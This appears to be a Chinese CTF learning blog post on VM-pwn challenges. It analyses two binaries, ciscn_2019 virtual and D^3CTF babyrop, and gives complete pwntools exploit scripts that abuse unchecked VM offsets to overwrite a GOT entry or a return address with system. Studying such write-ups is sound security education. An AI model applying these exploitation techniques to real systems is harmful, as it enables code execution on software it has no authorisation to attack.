VMPwn入门学习

字数统计: 1.7k字   |   阅读时长≈ 7分

vmPwn一直都是我比较反感的题目，因为逆向工作量太大了，而自己的逆向水平还是太烂了。但是这类题越来越多，还是得坚持学呀。

vm 解释器的基本认识

寄存器

  1. PC程序计数器，存放的是一个内存地址，该地址中存放着下一条要执行的计算机指令；
  2. SP指针寄存器，永远指向当前栈顶
  3. BP基址寄存器，用于指向栈的某些地址，在调用函数的时候会用到
  4. AX通用寄存器，用于存放一条指令执行后的结果

在程序中 PC的初始值指向目标代码的 main函数。

指令集

虚拟机定义的时候，会定义一个全局变量的枚举类型，里面有我们需要的指令 如：MOV, ADD之类的。

ciscn_2019 virtual

程序分析

程序总体就是模拟了一个栈的运行，我们主要分析两个函数：load和 save

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall load(__int64 res_list)
{
  __int64 result; // rax
  __int64 num; // [rsp+10h] [rbp-10h]

  if ( (unsigned int)get_value(res_list, &num) )
    result = convert(res_list, *(_QWORD *)(*(_QWORD *)res_list + 8 * (*(int *)(res_list + 12) + num)));
  else
    result = 0LL;
  return result;
}

load函数会取出模拟的 *res_List栈顶的数作为偏移 num ，然后将 *res_list+*res_list_num+num处的值移到*res_list栈顶

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall save(__int64 res_list)
{
  __int64 num; // [rsp+10h] [rbp-10h]
  __int64 value; // [rsp+18h] [rbp-8h]

  if ( !(unsigned int)get_value(res_list, &num) || !(unsigned int)get_value(res_list, &value) )
    return 0LL;
  *(_QWORD *)(8 * (*(int *)(res_list + 12) + num) + *(_QWORD *)res_list) = value;
  return 1LL;
}

save函数会取出模拟的 *res_list栈顶作为 偏移 num，再取出 *res_list栈顶的值 value。然后会将 值 value存储到 *res_list+*res_num+num的地址处。

我们可以看到这两个函数，都没有判断偏移 num。这也就使得我们可以数组越界读取数据。

而 *res_list 存储的就是 我们模拟的栈的地址。而模拟栈的地址 与 res_list的地址，仅仅相差 0x18。

利用分析

这里由于程序没有开启 PIE且可以修改 Got表，所以这里我们采取的方法是修改 puts_got为system。

考虑了很久怎么泄露 system地址，后面才想到其实我们不一定需要知道 system地址，只需要将 puts的地址减去其与 system地址的偏移即可，而且这里还有 add和 sub函数。

  1. 首先修改 *res_list的值为 0x404088

先将 0x404088和 偏移 -3依次push 进入 *res_list中，然后执行 save函数。此时就会修改 *res_list+res_list_num-3的位置为 0x404088，而 res_list_num初始为0，也就是最后修改了 res_list地址处存储的值为 0x404088。

  1. 将puts地址移到 0x404088

由于我们上面修改了 *res_list的值为 0x404088，也就相当于将 虚拟栈 移到了 0x404088。这个地址离 puts_got仅相差 0x68，也就是 -12的偏移。所以我们只需要将 -13 Push进入虚拟栈，在执行 load，就可以将 puts的地址 赋值到 0x404088

  1. pust_addr加上偏移得到system_addr

然后我们将 system_addr-puts_addr 的偏移 push进入虚拟栈中，然后执行 add函数，那么 0x404088处就会赋值为 system的地址

  1. 修改 puts_got

最后，我们只需要再将 -12 的偏移压入虚拟栈，执行 save，就能将 pust_got改为 system地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

file_name = "ciscn_2019_qual_virtual"
debug = 1
if debug == 1:
    p = process(file_name)
    elf = ELF(file_name)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Pwn():
    p.recvuntil('program name:')
    p.sendline('/bin/sh\x00')

    p.recvuntil('instruction:')
    payload = 'push push save push load push add push save'
    p.sendline(payload)

    p.recvuntil('stack data:')
    data = str(0x404088)+" " + str(-3)+" " + str(-12)+" " + str(-0x2a300)+" " + str(-12)
   # for i in data:
    #    payload += str(i)
    p.sendline(data)

    p.interactive()

Pwn()

D^3 CTF babyrop

程序分析

这道题就更加符合 VM_PWN的形式了。程序首先有两个数据结构需要知道：

第一个是我们输入的 data_list，里面既可以包含指令序列，也可以包含 数据。

另一个是 程序模拟的 虚拟栈结构：stack_list，这个结构体有3个成员变量，如下：

1
2
3
4
5
stack_list{
	char *stack_begin;
	char *stack_end;
	int stack_Len；
}

然后，程序中最重要的是 VM函数，我们简要分析：

1
2
3
4
5
6
7
esp1 = (_QWORD **)stack_list;
v5 = (_QWORD *)flag;
v8 = __readfsqword(0x28u);
memset(&v7, 0, 0x50uLL);
*(_QWORD *)stack_list = &v7;
*(_DWORD *)(stack_list + 16) = 10;
*(_QWORD *)(stack_list + 8) = *(_QWORD *)stack_list + 80LL;

首先是对 data_list做了初始化，同时 esp1指向了 stack_begin。

然后就是一系列操作函数，我们重点说以下函数：

1
2
3
4
5
6
7
8
__int64 __fastcall mov_rsp1_rsp2(_DWORD *esp1)
{
  ++esp1[4];
  *(_QWORD *)esp1 -= 8LL;
  **(_QWORD **)esp1 = *(_QWORD *)(*(_QWORD *)esp1 + 8LL);
  *(_QWORD *)(*(_QWORD *)esp1 + 8LL) = 0LL;
  return 1LL;
}

首先是 mov_rsp1_rsp2，其中 esp1表示的意思是虚拟栈的栈顶指针，该函数的汇编我们可以理解为如下形式：

1
2
3
mov [rsp-8], [rsp];
mov [rsp], 0;
sub rsp, 8;

然后是 Add_next，是将 add [rsp-8], [rsp]

1
2
3
4
5
6
__int64 __fastcall Add_next(_QWORD **esp1)
{
  **esp1 += *(*esp1 - 1);
  *(*esp1 - 1) = 0LL;
  return 1LL;
}

然后，在 Add_esp80函数中，可以将 esp1向高地址迁移 0x50

1
2
3
4
5
6
7
8
9
__int64 __fastcall Add_esp80(__int64 a1, _QWORD *edit_flag)
{
  if ( !*(_DWORD *)(a1 + 16) && *edit_flag > 1LL )
    return 0LL;
  *(_QWORD *)a1 += 80LL;
  *(_DWORD *)(a1 + 16) -= 10;
  ++*edit_flag;
  return 1LL;
}

最后是 Mov函数，汇编为 mov [rsp], value

1
2
3
4
5
__int64 __fastcall Mov(_QWORD **esp1, int value)
{
  **esp1 = value;
  return 1LL;
}

利用分析

首先，我们可以知道这个 虚拟栈是在程序真正的栈上模拟的。而且 stack_begin与 函数的 ret地址仅相差 0x68。那么我们的思路应该是利用 vm的各类操作，将 ret的返回地址最终改为 system地址。

  1. 利用 Add_esp80迁移栈顶

由于现在虚拟栈顶位于 ret指令的低地址，所以我们先使用一次 Add_esp80将栈顶向高位迁移 0x50。然后，我们不能直接再次执行 Add_esp80，因为有检查，这里我们随便 执行一个 push函数即可。然后再次执行 Add_esp80，此时 虚拟栈顶位于 ret地址之后。

  1. 写入 system地址

构造 system地址的方式和上一题类似，不过这里是利用栈上已有的地址。我们查看栈上，可以在 ret_addr+0x28处发现一个 libc_start_main的libc地址。那么我们让这个地址加上与 system的偏移，即可使其为 system地址。这里就需要利用 Mov函数将 偏移写入栈上，再利用 Add_next函数，将两个地址相加，得到system地址

  1. 覆写 ret 地址

最后我们就利用多次 mov_rsp1_rsp2函数，将 system地址不断向低位写，写4次即可覆盖 ret地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

file_name = "babyrop"
debug = 1
if debug == 1:
    p = process(file_name)
    elf = ELF(file_name)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Pwn():
    off = 0x24a3a
    payload = chr(0x28)  # pop10
    payload += chr(0x15) + p64(0)  # push 1
    payload += chr(0x28)  # pop10
    payload += chr(0x38)  # mov [rsp+8],0
    payload += chr(0x56) + p32(off)  # mov [rsp],0x24a3a
    payload += chr(0X34)  # mov [rsp-8],[rsp]   rsp -=8
    payload += chr(0x21)  # add [rsp-8],[rsp]
    payload += chr(0X34) * 5  # mov [rsp-8],[rsp]   rsp -=8

    #gdb.attach(p, 'bp $rebase(0x1100)')
    p.sendline(payload)

    p.interactive()

Pwn()

OGeek Final OVM

程序分析

利用分析

EXP

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing